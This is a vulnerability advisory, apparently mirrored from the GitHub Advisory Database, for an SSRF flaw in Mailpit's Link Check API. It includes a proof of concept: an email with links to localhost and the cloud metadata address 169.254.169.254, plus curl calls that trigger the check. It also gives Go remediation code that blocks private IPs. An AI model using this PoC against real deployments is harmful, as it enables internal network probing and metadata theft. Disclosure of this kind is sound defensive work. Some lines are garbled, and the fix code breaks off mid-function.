github.com/axllent/mailpit
Affected
- introduced
0, fixed1.29.2(semver)
Fixed versions
1.29.2
Fix
- Fixed version
1.29.2go get github.com/axllent/[email protected]
Advisory
Also known as: CVE-2026-27808, GO-2026-4558
Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API
Summary
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.
This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the
screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.
Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:
func doHead(link string, followRedirects bool) (int, error) {
timeout := time.Duration(10 * time.Second)
tr := &http.Transport{}
// ...
client := http.Client{
Timeout: timeout,
Transport: tr,
// ...
}
req, err := http.NewRequest("HEAD", link, nil)
// ...
res, err := client.Do(req) // No IP validation — requests any URL
return res.StatusCode, nil
}
The call chain is:
There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.
Step 1 — Start a listener to prove the SSRF:
` python3 -m http.server 8081 --bind 127.0.0.1
`
Step 2 — Send a crafted email via SMTP:
swaks --to [email protected] \
--from [email protected] \
--server localhost:1025 \
--header "Content-Type: text/html" \
--body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
Step 3 — Get the message ID:
` curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
`
Or use the shorthand ID latest.
Step 4 — Trigger the link check:
` curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .
`
Expected result:
{
"Errors": 0,
"Links": [
{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
{"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
]
}
-- This behavior can be identified by creating a email txt file as
cat email.txt >
From: [email protected]
To: [email protected]
Subject: Email Subject
This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
mailpit sendmail < email.txt The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning
Impact
Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.
What an attacker can do:
This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making
exploitation straightforward without any timing or side-channel inference.
Remediation
Then standard Go library can be used to identify a local address being requested and deny it.
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsUnspecified() ||
ip.IsMulticast()
}
- IsLoopback() — 127.0.0.0/8, ::1
- IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
- IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
- IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
- IsUnspecified() — 0.0.0.0, ::
- IsMulticast() — 224.0.0.0/4, ff00::/8
And the safe dialer that uses it:
func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
return func(ctx context.Context, network, address string) (net.Conn, error) {
host, port, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if isBlockedIP(ip.IP) {
return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
}
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
}
}
Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on
redirect hops:
func doHead(link string, followRedirects bool) (int, error) {
if !isValidLinkURL(link) {
return 0, fmt.Errorf("invalid URL: %s", link)
}
dialer := &net.Dialer{
Timeout: 5 * time.Second,
KeepAlive: 30 * time.Second,
}
tr := &http.Transport{
DialContext: safeDialContext(dialer),
}
if config.AllowUntrustedTLS {
tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
}
client := http.Client{
Timeout: 10 * time.Second,
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
if !followRedirects {
return http.ErrUseLastResponse
}
if !isValidLinkURL(req.URL.String()) {
return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
}
return nil
},
}
req, err := http.NewRequest("HEAD", link, nil)
if err != nil {
logger.Log().Errorf("[link-check] %s", err.Error())
return 0, err
}
req.Header.Set("User-Agent", "Mailpit/"+config.Version)
res, err := client.Do(req)
if err != nil {
if res != nil {
return res.StatusCode, err
}
return 0, err
}
return res.StatusCode, nil
}
func isValidLinkURL(str string) bool {
u, err := url.Parse(str)Medium Basis: The source's own band: MODERATE
0, fixed 1.29.2 (semver)1.29.2
1.29.2go get github.com/axllent/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0